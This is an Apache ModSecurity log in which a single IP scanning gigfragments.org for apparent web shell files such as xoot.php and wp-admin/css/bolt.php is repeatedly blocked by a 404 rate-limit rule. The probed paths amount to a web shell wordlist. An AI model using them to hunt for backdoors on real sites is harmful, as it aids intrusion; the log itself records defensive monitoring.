[Mon Feb 23 08:43:05.716047 2026] [:error] [pid 25295:tid 25369] [client 20.151.220.171:7115] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tevkb.php"] [unique_id "aZuimY2Av4J1Jnqi7yKW2QAAAJg"]
[Mon Feb 23 08:43:06.136858 2026] [:error] [pid 39538:tid 39562] [client 20.151.220.171:6977] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atmaca.php"] [unique_id "aZuimi4Zk8-cQOG3ZnoV8QAAAZQ"]
[Mon Feb 23 08:43:06.559628 2026] [:error] [pid 25293:tid 25323] [client 20.151.220.171:7114] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atmaca.php"] [unique_id "aZuimuL9XfBf66iHi_eKpQAAABg"]
[Mon Feb 23 08:43:06.979922 2026] [:error] [pid 39504:tid 39512] [client 20.151.220.171:7058] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atmaca.php"] [unique_id "aZuimnLcHpOlI9gwwJrZPQAAAUY"]
[Mon Feb 23 08:43:07.398785 2026] [:error] [pid 39639:tid 39645] [client 20.151.220.171:7111] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atmaca.php"] [unique_id "aZuimxpFkMoMi8uTUUP_KgAAAkI"]
[Mon Feb 23 08:43:07.815457 2026] [:error] [pid 39540:tid 39575] [client 20.151.220.171:7107] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/opts.php"] [unique_id "aZuim7sgm9aTWhlRScJgCAAAAcY"]
[Mon Feb 23 08:43:08.240906 2026] [:error] [pid 25380:tid 25391] [client 20.151.220.171:7162] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/opts.php"] [unique_id "aZuinKKrc8yFQ8fy78oa6wAAAMk"]
[Mon Feb 23 08:43:08.658788 2026] [:error] [pid 39540:tid 39574] [client 20.151.220.171:7046] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/opts.php"] [unique_id "aZuinLsgm9aTWhlRScJgDAAAAcU"]
[Mon Feb 23 08:43:09.074280 2026] [:error] [pid 25380:tid 25398] [client 20.151.220.171:7059] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/opts.php"] [unique_id "aZuinaKrc8yFQ8fy78oa7QAAANA"]
[Mon Feb 23 08:43:09.488675 2026] [:error] [pid 25293:tid 25300] [client 20.151.220.171:7137] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aZuineL9XfBf66iHi_eKqAAAAAE"]
[Mon Feb 23 08:43:09.928015 2026] [:error] [pid 25380:tid 25403] [client 20.151.220.171:7106] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aZuinaKrc8yFQ8fy78oa7wAAANU"]
[Mon Feb 23 08:43:10.340803 2026] [:error] [pid 39639:tid 39645] [client 20.151.220.171:7066] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aZuinhpFkMoMi8uTUUP_OQAAAkI"]
[Mon Feb 23 08:43:10.753646 2026] [:error] [pid 39540:tid 39577] [client 20.151.220.171:7091] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aZuinrsgm9aTWhlRScJgHgAAAcg"]
[Mon Feb 23 08:43:11.180068 2026] [:error] [pid 39540:tid 39574] [client 20.151.220.171:7121] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aZuin7sgm9aTWhlRScJgJQAAAcU"]
[Mon Feb 23 08:43:11.598784 2026] [:error] [pid 39540:tid 39573] [client 20.151.220.171:7054] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aZuin7sgm9aTWhlRScJgMgAAAcQ"]
[Mon Feb 23 08:43:12.029275 2026] [:error] [pid 39504:tid 39514] [client 20.151.220.171:7070] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aZuioHLcHpOlI9gwwJrZQAAAAUg"]
[Mon Feb 23 08:43:12.441871 2026] [:error] [pid 39504:tid 39515] [client 20.151.220.171:7120] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aZuioHLcHpOlI9gwwJrZQQAAAUk"]
[Mon Feb 23 08:43:12.853034 2026] [:error] [pid 25380:tid 25404] [client 20.151.220.171:7008] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seetox.php"] [unique_id "aZuioKKrc8yFQ8fy78oa9AAAANY"]
[Mon Feb 23 08:43:13.267916 2026] [:error] [pid 39540:tid 39574] [client 20.151.220.171:7119] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seetox.php"] [unique_id "aZuiobsgm9aTWhlRScJgRAAAAcU"]
[Mon Feb 23 08:43:13.684137 2026] [:error] [pid 39640:tid 39670] [client 20.151.220.171:7157] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seetox.php"] [unique_id "aZuiodsK--eVCgzvvuciJgAAAoA"]
[Mon Feb 23 08:43:14.100809 2026] [:error] [pid 25294:tid 25331] [client 20.151.220.171:7109] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seetox.php"] [unique_id "aZuioiRCFB3CqIo_jfZsQgAAAEI"]
[Mon Feb 23 08:43:14.521122 2026] [:error] [pid 29909:tid 29917] [client 20.151.220.171:7135] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aZuioj9oc2QzltksUk6olwAAAQY"]
[Mon Feb 23 08:43:14.936045 2026] [:error] [pid 39540:tid 39569] [client 20.151.220.171:7134] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aZuiorsgm9aTWhlRScJgTAAAAcA"]
[Mon Feb 23 08:43:15.353173 2026] [:error] [pid 39640:tid 39681] [client 20.151.220.171:7141] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aZuio9sK--eVCgzvvuciKQAAAos"]
[Mon Feb 23 08:43:15.769775 2026] [:error] [pid 39639:tid 39664] [client 20.151.220.171:7166] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aZuioxpFkMoMi8uTUUP_OwAAAlU"]
[Mon Feb 23 08:43:16.196218 2026] [:error] [pid 39639:tid 39659] [client 20.151.220.171:7099] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aZuipBpFkMoMi8uTUUP_PAAAAlA"]
[Mon Feb 23 08:43:16.611828 2026] [:error] [pid 39540:tid 39582] [client 20.151.220.171:7094] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aZuipLsgm9aTWhlRScJgUQAAAc0"]
[Mon Feb 23 08:43:17.030778 2026] [:error] [pid 25380:tid 25404] [client 20.151.220.171:7163] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aZuipaKrc8yFQ8fy78obAAAAANY"]
[Mon Feb 23 08:43:17.456702 2026] [:error] [pid 25294:tid 25328] [client 20.151.220.171:7165] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aZuipSRCFB3CqIo_jfZsUwAAAEA"]
[Mon Feb 23 08:43:17.882949 2026] [:error] [pid 25380:tid 25395] [client 20.151.220.171:7158] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoot.php"] [unique_id "aZuipaKrc8yFQ8fy78obAwAAAM0"]
[Mon Feb 23 08:43:18.294607 2026] [:error] [pid 25294:tid 25350] [client 20.151.220.171:7124] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoot.php"] [unique_id "aZuipiRCFB3CqIo_jfZsWQAAAEg"]
[Mon Feb 23 08:43:18.718849 2026] [:error] [pid 25294:tid 25348] [client 20.151.220.171:7069] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoot.php"] [unique_id "aZuipiRCFB3CqIo_jfZsWgAAAEc"]
[Mon Feb 23 08:43:19.129443 2026] [:error] [pid 25380:tid 25396] [client 20.151.220.171:7146] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoot.php"] [unique_id "aZuip6Krc8yFQ8fy78obCQAAAM4"]
[Mon Feb 23 08:43:19.545091 2026] [:error] [pid 39540:tid 39581] [client 20.151.220.171:7145] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aZuip7sgm9aTWhlRScJgVwAAAcw"]
[Mon Feb 23 08:43:19.962759 2026] [:error] [pid 29909:tid 29920] [client 20.151.220.171:7130] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aZuipz9oc2QzltksUk6omQAAAQk"]
[Mon Feb 23 08:43:20.382188 2026] [:error] [pid 39538:tid 39555] [client 20.151.220.171:7048] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aZuiqC4Zk8-cQOG3ZnoWCQAAAY0"]
[Mon Feb 23 08:43:20.806690 2026] [:error] [pid 39639:tid 39651] [client 20.151.220.171:7151] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aZuiqBpFkMoMi8uTUUP_RgAAAkg"]
[Mon Feb 23 08:43:21.223536 2026] [:error] [pid 39639:tid 39663] [client 20.151.220.171:6993] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aZuiqRpFkMoMi8uTUUP_RwAAAlQ"]
[Mon Feb 23 08:43:21.639073 2026] [:error] [pid 39639:tid 39667] [client 20.151.220.171:7113] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aZuiqRpFkMoMi8uTUUP_SAAAAlg"]
[Mon Feb 23 08:43:22.065143 2026] [:error] [pid 39540:tid 39585] [client 20.151.220.171:7067] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aZuiqrsgm9aTWhlRScJgWwAAAdA"]
[Mon Feb 23 08:43:22.480980 2026] [:error] [pid 39540:tid 39577] [client 20.151.220.171:7129] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aZuiqrsgm9aTWhlRScJgXwAAAcg"]
[Mon Feb 23 08:43:22.897820 2026] [:error] [pid 39540:tid 39578] [client 20.151.220.171:7050] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file59.php"] [unique_id "aZuiqrsgm9aTWhlRScJgZQAAAck"]
[Mon Feb 23 08:43:23.313560 2026] [:error] [pid 39540:tid 39570] [client 20.151.220.171:7060] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file59.php"] [unique_id "aZuiq7sgm9aTWhlRScJgagAAAcE"]
[Mon Feb 23 08:43:23.734489 2026] [:error] [pid 39504:tid 39510] [client 20.151.220.171:7138] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file59.php"] [unique_id "aZuiq3LcHpOlI9gwwJrZQwAAAUQ"]
[Mon Feb 23 08:43:24.152647 2026] [:error] [pid 39640:tid 39685] [client 20.151.220.171:7042] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file59.php"] [unique_id "aZuirNsK--eVCgzvvuciPAAAAo8"]
[Mon Feb 23 08:43:24.574787 2026] [:error] [pid 25380:tid 25395] [client 20.151.220.171:7049] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZuirKKrc8yFQ8fy78obEQAAAM0"]
[Mon Feb 23 08:43:24.996463 2026] [:error] [pid 25380:tid 25399] [client 20.151.220.171:7136] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZuirKKrc8yFQ8fy78obEwAAANE"]
[Mon Feb 23 08:43:25.415221 2026] [:error] [pid 39540:tid 39592] [client 20.151.220.171:7063] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZuirbsgm9aTWhlRScJgdQAAAdc"]
[Mon Feb 23 08:43:25.833699 2026] [:error] [pid 25380:tid 25390] [client 20.151.220.171:6976] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZuiraKrc8yFQ8fy78obFQAAAMg"]
[Mon Feb 23 08:43:26.257226 2026] [:error] [pid 39540:tid 39569] [client 20.151.220.171:6981] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aZuirrsgm9aTWhlRScJgfQAAAcA"]
[Mon Feb 23 08:43:26.686677 2026] [:error] [pid 39640:tid 39690] [client 20.151.220.171:6979] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aZuirtsK--eVCgzvvuciSQAAApQ"]
[Mon Feb 23 08:43:27.106730 2026] [:error] [pid 29909:tid 29932] [client 20.151.220.171:6989] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aZuirz9oc2QzltksUk6omwAAARU"]
[Mon Feb 23 08:43:27.525943 2026] [:error] [pid 39540:tid 39583] [client 20.151.220.171:7074] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aZuir7sgm9aTWhlRScJghAAAAc4"]
[Mon Feb 23 08:43:27.949886 2026] [:error] [pid 25293:tid 25317] [client 20.151.220.171:7052] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/er.php"] [unique_id "aZuir-L9XfBf66iHi_eKrAAAABI"]
[Mon Feb 23 08:43:28.373993 2026] [:error] [pid 39640:tid 39688] [client 20.151.220.171:7090] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/er.php"] [unique_id "aZuisNsK--eVCgzvvuciTwAAApI"]
[Mon Feb 23 08:43:28.793270 2026] [:error] [pid 39540:tid 39586] [client 20.151.220.171:7057] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/er.php"] [unique_id "aZuisLsgm9aTWhlRScJghgAAAdE"]
[Mon Feb 23 08:43:29.219582 2026] [:error] [pid 25380:tid 25394] [client 20.151.220.171:7142] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/er.php"] [unique_id "aZuisaKrc8yFQ8fy78obGwAAAMw"]
